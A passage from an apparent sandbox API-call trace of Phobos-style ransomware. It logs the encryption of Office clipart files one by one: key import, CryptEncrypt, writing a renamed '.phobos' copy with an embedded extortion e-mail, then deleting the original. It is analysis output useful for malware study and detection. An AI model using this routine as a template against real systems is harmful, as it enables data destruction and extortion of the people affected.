pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0058.987] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.987] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.987] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.987] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.987] CryptDestroyKey (hKey=0x10dc750) returned 1 [0058.987] CloseHandle (hObject=0x330) returned 1 [0058.987] CloseHandle (hObject=0x328) returned 1 [0058.988] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0058.989] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.989] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=40206) returned 1 [0058.989] CloseHandle (hObject=0x328) returned 1 [0058.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0058.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.989] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.989] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.990] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dccd0) returned 1 [0058.990] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.990] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x9d0e, lpOverlapped=0x0) returned 1 [0059.006] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x9d10, dwBufLen=0x9d10 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x9d10) returned 1 [0059.006] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x9d10, lpOverlapped=0x0) returned 1 [0059.008] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0059.008] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.008] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.008] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0059.008] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.008] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0059.008] CloseHandle (hObject=0x328) returned 1 [0059.008] CloseHandle (hObject=0x330) returned 1 [0059.009] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0059.011] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.026] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=14540) returned 1 [0059.026] CloseHandle (hObject=0x330) returned 1 [0059.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0059.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.026] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.026] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.026] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0059.026] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.026] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x38cc, lpOverlapped=0x0) returned 1 [0059.063] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x38d0) returned 1 [0059.063] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x38d0, lpOverlapped=0x0) returned 1 [0059.064] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dca50) returned 1 [0059.064] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.064] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.064] CryptDestroyKey (hKey=0x10dca50) returned 1 [0059.064] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.064] CryptDestroyKey (hKey=0x10dc750) returned 1 [0059.064] CloseHandle (hObject=0x330) returned 1 [0059.064] CloseHandle (hObject=0x328) returned 1 [0059.065] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0059.069] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.070] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7966) returned 1 [0059.070] CloseHandle (hObject=0x310) returned 1 [0059.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0059.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.071] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.071] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.075] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0059.075] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.075] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1f1e, lpOverlapped=0x0) returned 1 [0059.505] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1f20) returned 1 [0059.505] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1f20, lpOverlapped=0x0) returned 1 [0059.506] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc6d0) returned 1 [0059.506] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.506] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.506] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0059.506] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.506] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0059.506] CloseHandle (hObject=0x310) returned 1 [0059.506] CloseHandle (hObject=0x328) returned 1 [0059.507] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0059.508] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.508] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=20189) returned 1 [0059.508] CloseHandle (hObject=0x328) returned 1 [0059.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0059.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.509] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.509] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.509] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb90) returned 1 [0059.509] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.509] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4edd, lpOverlapped=0x0) returned 1 [0059.517] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4ee0) returned 1 [0059.517] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4ee0, lpOverlapped=0x0) returned 1 [0059.518] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dccd0) returned 1 [0059.518] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.518] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.518] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0059.518] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.518] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.518] CloseHandle (hObject=0x328) returned 1 [0059.518] CloseHandle (hObject=0x310) returned 1 [0059.519] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0059.520] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.521] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=15733) returned 1 [0059.521] CloseHandle (hObject=0x310) returned 1 [0059.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0059.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.521] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.521] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.524] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0059.524] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.524] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3d75, lpOverlapped=0x0) returned 1 [0059.538] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3d80) returned 1 [0059.538] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3d80, lpOverlapped=0x0) returned 1 [0059.539] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0059.539] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.539] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.539] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0059.539] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.540] CryptDestroyKey (hKey=0x10dc690) returned 1 [0059.540] CloseHandle (hObject=0x310) returned 1 [0059.540] CloseHandle (hObject=0x328) returned 1 [0059.541] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0059.542] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.542] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9710) returned 1 [0059.542] CloseHandle (hObject=0x328) returned 1 [0059.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0059.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 